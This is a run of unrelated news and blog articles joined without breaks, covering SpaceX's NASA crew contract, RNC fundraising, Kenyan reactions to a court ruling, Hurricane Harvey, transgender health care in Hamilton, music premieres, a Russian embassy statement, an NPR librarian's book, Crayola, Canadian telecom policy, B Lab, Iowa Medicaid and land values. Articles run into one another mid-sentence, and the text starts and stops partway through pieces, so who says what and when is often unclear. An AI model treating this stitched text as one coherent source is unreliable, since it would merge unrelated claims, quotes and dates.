market might exist for space tourism or smaller countries looking for human spaceflight capabilities, NASA is currently the only paying customer. “We’ve already stated that if NASA doesn’t fund a large part of our funded development, we wouldn’t be in it,” Memi says. “You’re not going to throw a bunch of money into something for a market that may or may not happen. I mean you’ll get the NASA business, but you couldn’t expect the company to shoulder... I don’t think any of the companies would shoulder the entire cost of the development by themselves.” At Thursday’s press conference, SpaceX’s Garret Reisman (a former NASA astronaut), said the $75 million SpaceX is receiving from NASA for the next year of work will keep the company on track for a 2014 launch of crew, provided the funding keeps coming. “We would need additional support from NASA beyond the CCDev 2 program to get us through those last two years,” Reisman said. SpaceX officials are anything but modest about their ambitions for space. Musk told the Wall Street Journal this week that his company could be sending humans to Mars in 10 years. The company boasts that a yet-to-be launched heavy-lift rocket can carry twice the weight of their nearest U.S. competitor at a third of the price. The cover of a SpaceX press kit for the CCDev2 announcement shows a lineage of NASA’s crew capable rockets, with the Falcon 9 placed right after the Space Shuttle. Those are big words from a small company without the track record of the big government contractors SpaceX is competing against. Doubts ran high this week among space industry workers, news media, and observers at the Kennedy Space Center over NASA’s risky gamble on the young upstart. Boeing officials are taking a wait-and-see approach, and acknowledge that SpaceX has captured peoples’ attention. It also appears to help that the company is flourishing in the current economic climate. Officials from the space program in China - where most goods are manufactured cheaper - have reportedly said they can’t match SpaceX’s cost savings. “It’s just a new buzz,” Raftery said. “Anybody can create a new buzz.” But Raftery also suggested there is value in what SpaceX, their competitor, is bringing to the industry. “Some change is good though,” Raftery said. “We constantly challenge ourselves to reinvent ourselves. I think that’s some of what you’re seeing from some of the smaller companies coming into the business. They’re trying new business models and that’s healthy, I think. Some of them will work and some of them won’t. I’m kind of counting on those guys to deliver the goods on their current commitments before we start signing them up for a bunch of new stuff... Then the thing is going to be, can they keep the business case closed on how much they’re charging. We’ll have to just see how it goes. That’s the important part - being able to close the business case so you’re not in a constant loss leader environment.” As if to reconfirm just how different the new company is from the old, Block was quick to point out the company’s balance sheet is healthy. “We’ve been profitable since 2007. We’re profitable now,” he said, “The world satellite manufacturers and other folks are going to the Chinese and Russians. The trend is down. Development of technology is like all things it’s like cars and anything else, [when] you’re launching a lot your production costs go down because you’re manufacturing stuff at a high launch rate. Therefore you can start to innovate, because you build new lines.” Now it’s up to SpaceX to prove whether it can finally offer what the Space Shuttle never could: an inexpensive, safe, and routine route to space. Bobby Block discusses SpaceX’s cost savings: Connect with Lon:CLEVELAND -- The organization tasked with raising money to mount the Republican National Convention has asked billionaire Republican donor Sheldon Adelson to fill a funding gap, NBC News has learned. In a letter to Adelson, a Las Vegas casino magnate, the Cleveland Host Committee requested a $6 million after some corporate donors decided to stay away after the controversial Donald Trump won the GOP nominating contest. The committee has raised $58 million of its $64 million goal. The letter was signed by CHC head David Gilbert. “Your support will allow our community to meet its obligation to the RNC, and will ensure our Republican nominee has the best possible platform to lay out his conservative case for our nation,” the letter said, according to Politico. Gilbert released a statement responding to the disclosure of the letter to Adelson. "After initial discussions concerning a contribution, the staff of Mr. Sheldon Adelson requested specific information about the Host Committee’s fundraising at a very late hour and indicated a need for an immediate response," the Host Committee said. The leak of the letter is the latest evidence of the Trump effect on the convention. When NBC News interviewed Gilbert in March, more than a month before Trump clinched the nomination, the Host Committee had raised almost all the money necessary. Gilbert said he had raised $52 million, $7 million of which was an in-kind donation.
Oh let’s move on. This is the Kenya we now live in, where so long as the ruling class stays, all’s well #SupremeJudgment— Khaleesi (@rodah_sharon) November 20, 2017 President uhuru Kenyatta your win does nothing for me if the economy remains this tough and there are still no jobs for the youth. Abeg! #SupremeJudgment— LimitedEdition (@muthoni_emm) November 20, 2017 Rao's withdrawal could have rescued Kenya if only he opted to call for reforms peacefully without showing he can instablize the country #SupremeJudgment— Kinoti Kenya (@KinotiKenya) November 20, 2017 It is amazing to me that today we are all about the SCOK being respected on their judgment because it has ruled in favor of what “we” wanted. We are not an honest people #SupremeJudgment— Khaleesi (@rodah_sharon) November 20, 2017 Uhuru Kenyatta is the president. Raila Odinga is my Leader. Anything the government will say must be approved by Raila for it to be taken to action. #SupremeJudgment— DEMIGA GEORGE (@MidegaG) November 20, 2017 With all the intimidation including shoting of dcj mwilu bodyguard. We did not expect much from the supreme court. Furthermore we did not file any petition. so this verdict is not a concern to us @ledama #SupremeJudgment— ledama ole kina (@ledamalekina) November 20, 2017 After what we saw, I'm glad the court upheld his nomination as president, now can we leave this thing behind & move out? Thank you #SupremeJudgment— Akaalumi Sam (@akaalumi) November 20, 2017“A lot of people are frustrated,” Chief Acevedo said. “Hopefully today we’ll get to the rest of you. Please don’t give up on us. None of us are going to give up.” In Houston, harrowing close calls shook many families. Maya Wadler, 17, recalled the moments before she was rescued from her home Sunday around 4 a.m. The water, she said, “bubbled up from the doors, seeped in from the windows.” “Everywhere you turned,” she said, “there would just be a new flowing puddle. It just kept filling. It passed the outlets. I was so scared. We didn’t know what would happen. And there is no one you can call.” Ms. Wadler was eventually helped onto a dump truck driven by rescue workers. “I was sitting in the corner holding my dad really tight,” she said. “I usually just trust my parents that everything is going to be O.K. But I looked up and I saw that my dad was closing his eyes, the water was getting in his eyes. And I just thought: He has absolutely no idea where we are going to go.” For a vast swath of southeast Texas, there may be more trouble in the days ahead. The National Weather Service said the storm was expected to linger for a number of days. It predicted an additional 15 to 25 inches of rainfall along the upper Texas coast and southwest Louisiana through Friday. The service also raised the possibility of 50 inches of total rainfall in some areas, exceeding previous Texas records. Flooding was reported in numerous communities in the Texas interior between Houston, to the east, and Austin and San Antonio, to the west. On Sunday, a mandatory evacuation order was issued for the city of La Grange, where the National Weather Service projected that the Colorado River would crest at 49.1 feet, according to the city’s website. As inland communities struggled with the flooding crisis, coastal communities that took the brunt of the hurricane’s pounding remained punch-drunk.For a city its size, Hamilton is a wasteland for transgender health care resources. But the city's board of health Monday is poised to take at least baby steps toward changing that. In an ideal world, we would have family physicians who are well versed in hormone therapy, gender transition, referrals for surgery, and psychosocial support. - Cole Gately, co-founder of the Hamilton Trans Health Coalition The board — comprised of Hamilton's 16 city council members — will vote whether to write to the Hamilton Niagara Haldimand Brant Local Health Integration Network (LHIN) about improving transgender health resources. The goal, says Coun. Aidan Johnson of Ward 1, is to get LHIN feedback on "immediate, medium and long-term steps" toward improving health care for transgender and non-binary patients. By many accounts, it's needed. St. Catharines fares better for transgender resources, in part because of the Quest community health centre, Johnson said. And Toronto, Johnson said, "has done a lot more thinking and a lot more work around anti-transphobia and equality." But in Hamilton, many transgender patients have difficulty even finding doctors who will prescribe them hormones or help them transition. Cole Gately is one of the founding members of the Hamilton Trans Health Coalition. In an ideal world, Gately says, every family physician would be well versed in gender issues. (Cole Gately) Just as transgender people face stigma in workplaces and ordinary life experiences, they face it while seeking out health care too, said Cole Gately, chair and co-founder of the Hamilton Trans Health Coalition. The coalition was founded with a goal of improving access to transgender health care resources in Hamilton. Gately would like to see, for example, family physicians better educated on gender issues. He, among others, worked on the motion with Johnson. Gately would like to see transgender health incorporated into everyday health care, not just as a specialized area that requires a separate clinic. "In an ideal world, we would have family physicians who are well versed in hormone therapy, gender transition, referrals for surgery, and psychosocial support," he said. Johnson has involved himself in other transgender-related issues during his first term. Earlier this year, city council passed a transgender and gender non-conforming protocol. That outlined, among other things, that transgender people can use washrooms and change rooms that align with their gender identity. This reflected "the existing state of the law," said one lawyer, and didn't deviate from what was already happening. But Johnson said it spelled it out for everyone. The city was forced to establish a protocol after a human rights tribunal settlement between Hamilton's transit agency and a transgender woman. In 2014, the woman tried to use the women's washroom at the Macnab bus terminal. A security guard stopped her, and she filed a human rights tribunal complaint. After that settlement, Johnson also moved that the city start flying the transgender pride flag in June, which is Pride Month. He was also a vocal opponent when the Christian Heritage Party (CHP) placed bus shelter ads implying that the protocol would mean transgender men could enter ladies rooms. The CHP, and local party member Jim Enos, are in the midst of a court challenge with the city now. Working on the protocol, Johnson said, educated him on Hamilton's dearth of transgender health resources. "One of the key things I learned and heard is the transgender community faces inequality in our regional health care system," he said. As an example, Johnson said, he heard wait lists are "unacceptably long" for transgender people seeking health care. As a result, many travel to Toronto or Niagara for care. At Quest, for example, the clinic has more than 1,000 regular patients, and wait times to see a doctor there are between four and six months. By looking at how the health care system could work better for transgender residents, Johnson said, it also "opens up a broader question on equity in health care." There's precedent for the LHIN putting money in transgender-specific health care resources. The Quest clinic in Niagara, according to its website, is largely funded by the LHIN.by Comprising of Carson Wells members Iain Dallas and Huw Gurden and ex Kolya member Todd Giles, Scottish band The Union Ares are premiering their debut songs, ‘Oubliette’ and ‘The Great Collective’, a double A-side demo, with us at Punktastic. “The Union Ares started in the bedroom and basement of my Grandmother’s house some 15 years ago in Hamilton, Massachusetts, explains vocalist/guitarist Giles. “My previous band, Kolya, had recently stopped playing but I still had some songs bubbling above water. With the help of friends, old and new, the songs became a 10-song demo that was almost immediately mothballed as I spun into a spiral of banjo addiction (not a euphemism). A few years later, I relocated to European shores and, more recently, felt the need to play some rock music again – it was time to reprise The Union Ares.” Once the project had been birthed, Giles decided to look for additional hands to build up the structure of the band. After hearing of comparisons to his old band, he approached the members of Carson Wells for this new endeavour. “I was stoked that Huw and Dallas were keen to sign up on bass and drums, respectively. I’ve been making the occasional trip over to Scotland for practice and finally, we’re on the cusp of bearing fruit.” In regards to the songs themselves and their eventual making: “‘Oubliette’ and ‘The Great Collective’ were part of the original The Union Ares 10-track demo, which was our starting point as a band, and I’m delighted with how they’ve come out under this new guise. We recorded them in Glasgow over the summer, in a studio called Audiolounge, and then Dallas’ friend, Scott Clark, put all the pieces together with a really great mix.” “We’re calling this a double A-side demo, but it is only the sapling. The tree is growing stronger and will provide cover in the years to come; years that look like they will need much cover. We’ve already begun working on brand new material too, which I’m really excited about. Look to 2018 for new songs, recording, and shows.” These songs are a marvellous taste of what this group are capable of. Combining the best elements of their other bands. Fans of indie, post hardcore and emo will certainly enjoy what is on offer here. Oubliette/The Great Collective (1st demo) by The Union Ares The Union Ares’ first demo is available now for PWYW download on their bandcamp.Signup to receive a daily roundup of the top LGBT+ news stories from around the world Russian diplomats have condemned a recent Channel 4 documentary about anti-gay attacks in the country, saying a similar film could have been made out of the UK’s “abuse” towards ginger people. Last week, Channel 4 released the documentary ‘Hunted’ on Occupy Paedophilia’s vigilante methods of luring, humiliating, and torturing gay people. According to The Telegraph, the Russian embassy spoke recently to condemn the film as “hate propaganda,” saying it was “full of distorted facts and unverifiable allegations.” They said: “The documentary’s emotional appeal is misleading, since the film falls far short of the standards of professional journalistic investigation. “One could have easily whipped up such ‘documentary’ about a hunting season on redheads in the UK saying that ‘ginger’ people face unmotivated verbal and physical abuse on a daily basis,” it said. “If the authors of the documentary really had evidence of rampant gay hate crimes in Russia, they wouldn’t need to wait until an international sporting event takes place in Russia to raise the alarm. While violent attacks on homosexuals sometimes take place in Russia, just like in many other European countries, this does not mean that they are condoned, supported or, let alone, encouraged by the Government. Such attacks are few and far between and by no means reflect general sentiments of the Russian people.” In the film, showing off for the camera, the group find a man looking for a hookup, and lure him back to the flat. He is caught and held down, as the group set about extracting a confession from him. “We will ruin his life, as usual”, one quips. Another man, Dima, was left blinded in one eye after an attack by an anti-gay group. He says he can almost understand why the groups target gay men, as the country’s anti-gay propaganda law silences anyone who speaks positively or neutrally about gay rights: “First they stopped us responding, and then they called us paedophiles and rapists.” The embassy said the leader of Occupy Paedophilia has since been arrested and charged with extremism, but also appeared to defend the group, saying: “As its name suggests, [it] targets only paedophiles both straight and gay”. In July last year, Occupy Paedophilia took to social media to publicise images and videos of gay teenagers lured in on the promise of a date, before torturing them and forcing them to come out to friends and family on video.'All Facts Considered' By NPR's Longtime Librarian Enlarge this image toggle caption Robert P. Malesky Robert P. Malesky Did You Know..... that at any given moment, there are 10 quintillion individual insects on Earth? Click here to read more of Malesky's favorite facts. Left to his own devices, NPR host Scott Simon admits he would regularly confuse Monet, Manet and Matisse; Cro-Magnon and Neanderthal; Socrates and Sophocles; Crete and Sicily; and Grover Cleveland and William Howard Taft. Thank goodness for librarian Kee Malesky — who, for 20 years, has been saving NPR's hosts and reporters from themselves. Malesky is the organization's longest-serving librarian, and Simon says he suspects that she is actually the source of all human knowledge. In her new book, All Facts Considered: The Essential Library of Inessential Knowledge, Malesky catalogs some of the facts that she has researched so dutifully over the years. Odd Queries From NPR Staff During her two decades of service in the NPR reference library, reporters have asked Malesky to look up some fairly obscure, though fascinating pieces of information. The first non-Native American to set foot in what is now Chicago? That would be an African man from Haiti by the name of Jean Baptiste Point du Sable, whose trading post was the first permanent dwelling there. Chicago has since named a high school after him that few residents can properly pronounce. And how about the "the rockets' red glare" referenced in the Star-Spangled Banner? Where exactly did the red glare come from? The British army's Congreve rockets, Malesky explains. They were effectively very large bottle rockets — the kind you might set off in your backyard on July 4 — but in the early 1800s, they were a novel development in weaponry. All Facts Considered: The Essential Library of Inessential Knowledge By Kee Malesky Hardcover, 288 pages Wiley List price: $19.95 Read An Excerpt And watermelons — fruit or vegetable? "Yes," Malesky says with a laugh. "It's both. Most of us would think of it as a fruit, but it can also be considered a vegetable because it's in the same family as cucumbers and gourds." (In fact, the state Legislature of Oklahoma recently declared that the watermelon would be the official state vegetable.) And then there are those startling statistics about consumption. In 2007, the average American drank 22.7 gallons of coffee, according to the USDA. But believe it or not, that's actually half the amount Americans were drinking in the 1940s. And finally, there's the matter of van Gogh's ear. Did he nearly cut it off himself? A group of German scholars closely examined the police reports and proposed that artist Paul Gauguin — van Gogh's close friend — may have cut the ear off during the heat of an argument. "But the curator of the Van Gogh Museum is skeptical," Malesky says, "So I put it in [the book] as just a 'Maybe.' " 'I Wouldn't Want To Be Your Editors' NPR staffers can be a demanding bunch, but Malesky says that "for the most part, they're very appreciative of our efforts." "But I wouldn't want to be your editors," she tells Scott Simon. "I wouldn't want to have to tell you, 'No.' " NPR personnel can be very loyal to their librarians — something that Malesky discovered very quickly back in 1990. On her first day in the reference library, the late Dan Schorr, an NPR news analyst and three-time Emmy winner, walked into the library in search of NPR's veteran library manager. Facts That Were Considered... And Then Rejected: Interesting occupations of the fathers of U.S. presidents (turns out most of them were farmers; no pirates or anything exciting) Foreign product names translated (Atari, Mitsubishi, etc.) Germs on kitchen sponges: they're the dirtiest things in our homes Narwhals: toothed whales that look sort of like unicorns of the sea Unusual or obsolete words: pi-jaw, foofaraw, anywhen Evolution of the word "toilet" "He stopped short," Malesky remembers. "I said, 'Hello, can I help you?' And he said, 'No, that's OK,' turned around and walked out." But it didn't take long for Schorr and Malesky to get to know each other — he eventually began bringing his research questions to her, "and I managed to answer them adequately," Malesky says, and the two became close friends. Schorr himself figures prominently in one of Malesky's chapters — it was through one of his stories that she discovered a surprising factoid about the Watergate scandal. "He asked me to find the phrase 'follow the money' in the book All The President's Men by [Bob] Woodward and [Carl] Bernstein," Malesky recalls. "And because my policy was to go to any length to get Dan Schorr what he needed, I went through the book page by page, and that phrase does not appear there. And then in talking to Bob Woodward and the screenwriter, William Goldman, Dan discovered that [the phrase is] actually kind of made up for the movie." While Malesky harvests many of her surprising facts in the course of her research for NPR reporters, she doesn't just wait for the phone to ring. She spends plenty of time hunting down information on her own, and then brings the facts to reporters' attention. "We [librarians] read all the time," Malesky says. "We're constantly looking at new sources, at websites, at all kinds of things that are happening in the world.... We're all very proactive. It's really a part of the proper job of a librarian." A Few Of Malesky's Favorite Facts, Distilled (Full explanations of these tidbits of knowledge can be found in All Facts Considered.) Red hair, the rarest human color (less than 2 percent of the population), is caused by a variation in what is called the "Celtic" gene. George Gershwin wrote Rhapsody in Blue in about three weeks and found his inspiration in the sounds and rhythm of a train as he traveled to Boston. Tiny parasites — eyelash mites called Demodex — live and die on the faces of most of us; they walk around, eat, rest, mate and lay eggs. The great Russian epic Doktor Zhivago was first published in Italy, not in the Soviet Union. A Steinway grand piano comprises about 12,000 individual parts, and it takes 450 skilled artisans to create one. Candidates in the 2008 U.S. elections spent as much money on their campaigns as it cost to build the nuclear submarine USS Jimmy Carter. At any given moment, there are 10 quintillion individual insects on Earth — flies, mosquitoes, beetles, bees, etc. There are 785 million illiterate adults in the world, and two-thirds of them are women. The oldest zoomorphic structure in the U.S. is Lucy the Elephant, a former hotel in Margate, N.J. The first e-book was the Declaration of Independence, typed into a computer in 1971 by the founder of Project Gutenberg.Please enable Javascript to watch this video NEW YORK — Crayola is kicking one of its iconic colors to the curb. The crayon company said it's retiring a color from its classic 24-count box for the first time in its history. Crayola didn't reveal which one is getting the hook, or what color, if any, will replace it. The big reveal will happen in Times Square at 8:15 a.m. Friday on National Crayon Day. But once the color is retired, the Forks Township,Pennsylvania-based company will not produce any more crayons in that shade. Only boxes that already contain that specific color will remain. Right now, the 24-count box has red, yellow, blue, brown, orange, green, violet, black, carnation pink, yellow orange, blue green, red violet, red orange, yellow green, blue violet, white, violet red, dandelion, cerulean, apricot, scarlet, green yellow, indigo and gray. While Crayola has never dropped a color from its 24-count box before, it has retired crayons — it has 124 in production now — over the years. The last time Crayola got rid of colors was in 2003, when blizzard blue, magic mint, teal blue and mulberry disappeared from the collection. Burnt sienna avoided getting cut after more than 60,000 fans voted in the campaign to "save the shade." The company first retired colors in 1990 when eight colors — maize, lemon yellow, blue gray, raw umber, green blue, orange red, orange yellow and violet blue — left the pack and joined the "Crayola Hall of Fame." Crayola will be livestreaming the Friday announcement on Facebook. To join in, head to the Facebook event.Image via Wikipedia During this whole debate about usage based billing, one idea that’s popped up is the idea of nationalizing the “last mile”, that bit of cable running between the home and the local phone service central office. Of course, the idea of nationalizing any service raises concerns about competition and limiting user choices. What I’d like to put forward is an idea that saves competition, while preventing the anti-competitive practices of current last mile operators/ILECs such as Bell Canada. I’ll start off by explaining why some people believe that the last mile should be nationalized, or at least taken out of the hands of the companies that now operate it. All of the large telecommunications and internet service providers in Canada also own media companies and broadcasters. This creates a conflict of interest. Think about how Bell doesn’t just provide internet service (both as a wholesaler and direct to consumer) but also partially owns CTV (which competes with Netflix and other video services) and is a phone service (competing with Skype and other VOIP services). If you look at the other big providers here in Canada, it’s not hard to find similar conflicts of interest. The big providers are very interested in controlling how people use the internet, so that online services can’t compete with their own subsidiaries. Separating the last mile from the established telecommunications companies makes it harder, or impossible, for them to control consumers this way. So what do we do? We start off by putting everything from the local exchange to the customer’s curb in the hands of provincial or municipal agencies created for the purpose of operating the last mile (which we’ll call LMO s, or last mile operators). This means it’s no longer Bell or Telus who owns the cables running from the demarcation point, but rather a crown or municipal corporation that has no role but to handle the physical management of the local phone system. The LMOs are able to contract out the actual operations of the last mile to companies that would actually manage this work, most likely to the current incumbents, but would be able to use a competitive bidding process to ensure that costs would be kept as low as possible. Costs for LMOs would come from subscribers via their service providers, with no additional bills to the subscribers. As the costs of maintaining the last mile would no longer be handled by the ILECs, any increase in costs to consumers would be minimal, to cover the overhead of remitting what once would go towards last mile management to the new LMO. So we’ve covered how the nationalized system would be organized, and how competition would be kept, nay, expanded, under this scheme. But what about actually getting service? To be honest, that wouldn’t be much different than how things already are. Under current rules, the ILECs are required to make their exchange central offices open to competing carriers and service providers (CLECs), for users who don’t want to use the incumbent’s services. Under the nationalized last mile scheme I am proposing, you’d no longer have one ILEC and several CLECs. Instead, everyone would be a CLEC, with the same level of access to the exchange. They would have the same options as now: connect their own network in at the exchange (or possibly at serving area interfaces, those tall brown and green boxes we see sometimes along the sidewalks). Or they could piggyback on someone else’s network, as some internet resellers do with Bell and Rogers. It’s technically possible to do this with cable TV services as well. No longer would you be living in a Rogers neighbourhood or a Shaw one, but you’d be able to choose which company would numb your brain with TV stations. For landline phone service, internet service, and cable service, the result is greater competition, as carriers would no longer be able to shut out competition the way they currently can (and do). What’s the result? By nationalizing the last mile, consumers see more competition. Artificial measures are no longer required to keep the market open, and incumbent providers no longer have motivation or means to manipulate how consumers use certain services in order to gain more value of others. The new LMOs only handle the physical connection between your home and the exchange central office, and are funded by the services you use, rather than by you directly (making them transparent). To be honest, nationalization isn’t actually required. The idea is that the last mile is independently operated from the actual service providers. This might actually be more easily accomplished by breaking up Bell and the other ILECs, rather than just taking control of the last mile from them – however, this break-up has to be done properly, unlike how AT&T in the USA was divided up. Rather than slicing up the cake into smaller but still vertical segments, we need to separate the layers of this cake to ensure that consumers will get real competition, rather than just a broader oligopoly. As with anything else, there would be need for some regulation on the new system. Mainly, LMOs can’t be owned by service providers, in whole or part (that would just bring us back to where we are now). They can’t discriminate against service providers. What they charge to the service providers for managing the last mile, and how much, would likely be regulated by Industry Canada or the CRTC. But this is simpler and more preferable than the complex and confusing regulatory scheme currently in place for local telecommunications operators. In the end, Canadians will be safer from abuse of telecom monopolies, enjoy greater choices for their phone, internet and TV services, and no longer have to deal with certain service providers using misconceptions about internet use to bolster their already enormous profit margins. Whether by nationalization or by breaking up the ILECs more directly, separating the last mile from service providers is an option Ottawa should carefully examine.In April, around the time that Bruce Springsteen canceled a North Carolina performance because of the passage of HB2, the law that makes it harder for LGBT citizens to sue when they are discriminated against in the workplace and requires people to use bathrooms that match the biological sex indicated on their birth certificate, Wayne-based B Lab joined the effort to overturn the law. Saying that “our engagement is as important as our withdrawal,” B Lab, the nonprofit that jumpstarted the international B Corp movement, announced it wouldn’t be holding its annual Champions of Change retreat in the Tar Heel state if the law remained on the books. Co-founder Jay Coen Gilbert and a handful of socially conscious CEOs began lobbying elected officials to come to their senses. At the time, we argued that Philadelphia should see the controversy over HB2 as an opportunity. Last week, Coen Gilbert and his team threw in the towel—at least for the time being—and announced that the retreat, with its roughly 1,200 visitors and nearly $1 million in economic impact, would relocate to Philadelphia. It comes at a propitious time, right when some are trying to brand Philadelphia as the most B Corp friendly city in America. B Lab’s insignia—the B stands for Benefit—confers a type of Good Housekeeping Seal of Approval when it comes to social responsibility for its 1,700 member companies, including well-known brands such as Patagonia and Ben & Jerry’s. B Lab has created a new type of company, the B Corp, which extends members’ fiduciary responsibility beyond just shareholders, to stakeholders such as employees, the environment and the surrounding community. As outlined in a Harvard Business Review article headlined “Why Companies Are Becoming B Corporations” last week, the rise of B Corp Nation represents nothing less than a radical reimagining of the values that inform capitalism. B Corp firms, the study’s authors write, “believe ‘the major crises of our time are a result of the way we conduct business,’ and they become a B Corporation to ‘join the movement of creating a new economy with a new set of rules’ and ‘redefine the way people perceive success in the business world.’” In other words, the rise of the triple bottom line—profit, people and planet—is more than a slogan. It’s a way to bring purpose to the business of business, and proof that egalitarian values and capitalism need not be mutually exclusive, a much-needed prescription for economic reform at a time when the political blame game would have us believe that our choices for constructive economic growth are solely between socialism and Ayn Rand-fueled corporate greed. “We can’t achieve our vision of a more shared and durable prosperity unless we build an inclusive economy that creates opportunity for all,” Coen Gilbert said when I caught up with him last weekend. “That’s not possible with HB2 on the books. As soon as HB2 is repealed, we’ll be thrilled to go back to North Carolina.” Coen Gilbert spent the last two months engaging North Carolina lawmakers on this issue. To be clear, Coen Gilbert and his band of socially conscious chief executives are not activists or protestors. He’s an entrepreneur who helped build the basketball apparel company And1 into a $250 million business before he and his partners cashed out in 2005. The Republican Party was once the party of business, and North Carolina Republican lawmakers, who control the state’s House, Senate and Governorship, found themselves face to face with CEOs who were making a practical bottom line case against the discriminatory law. There was, for example, the CEO of a North Carolina tech firm who explained that the first 20 minutes of a pitch to Silicon Valley venture capitalists found him having to defend his home state’s bathroom law. “Those are precious minutes wasted talking about bathrooms instead of your vision for your business,” Coen Gilbert explains. “The law had put this CEO at a competitive disadvantage when he was competing for investment capital.” In the end, the Republican leadership in North Carolina doubled down. When the Republican candidate for Attorney General exhorted a rally to “Keep our state straight,” it was clear that rescinding the law’s provision policing bathroom usage would be a nonstarter. “Overwhelmingly, the message we delivered was that our community wouldn’t be able to bring their whole selves to work in an environment that feels hostile to some in our community,” Coen Gilbert says. That’s when B Lab turned to Philly. Back in 2009, Coen Gilbert and his team were taken by surprise when then-Councilman Jim Kenney became the first politician in the nation to pass a tax credit for certified B Corps; the Sustainable Business Tax Credit maxed out at $4,000 per year. Earlier this year, Councilwoman Maria Quiñones-Sánchez sought to double the credit and increase exemptions in the business income and receipts tax for B Corps. “We can make Philadelphia the B Corp capital of the world,” Quiñones-Sánchez said at the time. (City Council ended up approving a version of the bill that keeps the tax credit at the same value, but extends it for another five years and permits hundreds of additional businesses to qualify.) It sounds good to Coen Gilbert. “I can imagine talking about our inter-dependence at Independence Hall,” he says. “There’s no place better to talk about the importance of an inclusive economy than the City of Brotherly Love.” We can, as Councilwoman Quiñones-Sánchez said some months ago, position ourselves as the B Corp capital of the world. That would require a vision for inclusive and egalitarian economic growth, and then it would require selling the city on such an uplifting self-definition. So come October, Philly will play host to the Global Champions Retreat at the Sheraton Society Hill, where an army of entrepreneurs will convene to explore how each can help the other advance the radical notion that business can be a force for social good. There will be B Inspired, a street festival and series of public talks, and a conference for university educators shaping the burgeoning curriculum of socially responsible capitalism. The Kenney administration didn’t lobby B Lab to relocate the retreat here, but now that it’s coming, how about seizing on it? Now that we’ve thankfully entered the post-soda tax era of the Kenney administration, we need a vision for the future—and just raising taxes ain’t it. We need a new story, one that we both tell ourselves and others. One that answers the question: Who are we? Boston has been answering that question for themselves. They’re a city on an economic growth upswing, having persuaded General Electric to relocate to Beantown, and having swiped the Forbes 30 Under 30 Summit from us. Last week, in a press release, the City highlighted the fact that B Lab’s retreat would bring in nearly $1 million in economic development for Philadelphia. But the Global Champions Retreat could pay off in far more lucrative ways. We can, as Councilwoman Quiñones-Sánchez said some months ago, position ourselves as the B Corp capital of the world. That would require more than luck and a press release. It would require a vision for inclusive and egalitarian economic growth, and then it would require selling the city on such an uplifting self-definition. In some ways, passing the soda tax was the easy part. Now Jim Kenney has to give us a vision for what his $4.2 billion budget makes us look like. Jay Coen Gilbert may have just given him the beginnings of an answer.With a name like Psychedelic Porn Crumpets, this WA band isn’t likely to be forgotten in a hurry. Since their formation in 2015, the Perth group have been elevating their sound to a more serious level, releasing two punchy albums in High Visceral Part One and Part Two. The result of these albums saw the band introduce themselves further to audiences right around the country; mesmerising vocals met refreshed psych rock flair. Embracing the energy of their live performances over the last 18 months, the Psychedelic Porn Crumpets fan base has grown considerably and so how is the band repaying them? With the announcement of new music and their own curated festival. But, of course. Enter new track, “Little Moon”. Fuzz and reverb are champions on this track, as the builds and overall pacing of the single demonstrates the band’s excellent dynamic as a musical unit – they’re just getting better and better. If you want your rhythms served up rich and textured, “Little Moon” is the one for you today. Along with their new single, Psychedelic Porn Crumpets have announced their Dr Noggin Floggin and the Cosmic Toothbrush festival for Perth’s Rosemount Hotel, wherein 12 fantastic groups are coming together to highlight the amount of talent coming out of the West Coast. “Perth has a ridiculous amount of local talent,” the band says. “Putting on a ‘psych’ gig felt like we would be leaving out the strong character and diversity of the Perth music scene. The idea of the festival was to showcase the vibrancy of Perth and invite the listener into a broader range of music they may not usual go out and see.” Tickets for the festival are on sale now via Oztix! For those of us not WA-based, Psychedelic Porn Crumpets are on tour this December, check the dates out below! PSYCHEDELIC PORN CRUMPETS TOUR DATES December 23rd \| The Rosemount Hotel, PERTH \| Tickets Dr. Noggin-Floggin & The Cosmic Toothbrush Festival December 27th \| Jive Bar, ADELAIDE \| Tickets with Hideous Sun Demon, Somnium, Moonhunter December 28th \| Northcote Social Club, MELBOURNE \| Tickets with Hideous Sun Demon, Baked Beans, Body Parts December 29th \| The Lansdowne Hotel, SYDNEY \| Tickets with Hideous Sun Demon, Kimono Drag Queens, Maple Moths December 30th \| The Foundry, BRISBANE \| Tickets with Elegant Shiva, Stone Witches, Danger Penny December 31st \| The Northern, BYRON BAY \| Tickets Photo by Alexander Miller.Dozens of Iowans begged members of the Iowa Senate Human Resources Committee Wednesday to make sure the state provides extensive oversight of the three healthcare management companies that will soon manage Iowa’s Medicaid system. The federal government says privatization can begin April 1. One of the dozens to testify was Brandy McDonough of Cedar Rapids, who says her son Carson’s disability requires 24-hour care. McDonough says due to Medicaid privatization, Carson’s longtime nursing provider will soon close. As a result, she says she may have to quit her job to care for Carson fulltime and the loss of income would cause her family to loss their house. "I wake up every day, not knowing what is going to happen," says McDonough. "This is so scary...there's not a lot of options." A key criticism of privatization is that without oversight from the state, companies will implement unfairly low reimbursement rates and create excessive administrative burdens that will drive providers out of business, or cause them to drop Medicaid clients. They also
’s chosen by Rick Owens as his title for the season then rest assured it will have a more profound meaning. “I chose this name as a reaction to my last collection cycle that was based on physical and ecological decline, it was time to move forward,” the designer from Los Angeles explained to MFF, “Glitter is a reference to a period in the 70’s that celebrated immortality, transgression, sexual liberation and flamboyant non-conformity. Almost like a grotesque trick, that rejects fear in difficult moments.” That’s to say, Owens definitely has a concept and he realizes it with his visionary approach. He creates silhouettes that reflect on and reinterpret internal issues. Creating soft suits of armour, attached to the body covered in quilted fabrics with volumes somewhere between tramp and evening suit. There are opera capes accompanied by the voice of Monserrat Caballé singing the l’aria di Dalila, earning the trust of Sansone before destroying him. Sleeves with knitted appliqué lengthen jackets, super mega oversize shapes. Trousers that drag along the floor, faces painted white, roughed up hair applied to headbands with an alopecia effect. Big horizontal lines and quilting. Outlining figures like balloon animals alla Jeff Koons, or those that are sold on the street. By Stefano Roncato - MFF Magazine for FashionHave you ever wondered how much it would cost to buy an average piece of land in your state 40 years ago? Have a look at our new animated map to find out. Using data from the Lincoln Institute of Land Policy, we put together a series of maps showing the changes in average land values from 1975-2015 in each state. Overall, the trend is toward increasing land value, but there are exceptions. *Land value = Total Home Value - Structure Cost Results In 1975, all of the 48 contiguous states and DC had average land values below $15,000. But in 1976, starting with California and followed by other western states and some of the northeastern states, average land values began to rise above $15,000. Connecticut and California were the first states with average land values exceeding $140,000 – in 1988 and 1989, respectively. By 1999, most states had average land values in excess of $15,000, with only the central states and Alaska remaining below the $15,000 mark. From 2000-2007, land values rapidly appreciated. Many states had average land prices greater than $140,000 in 2007. However, from 2008-2011, corresponding with the financial crisis, a drastic drop in land values across the US occurred. The sharpest price cuts were 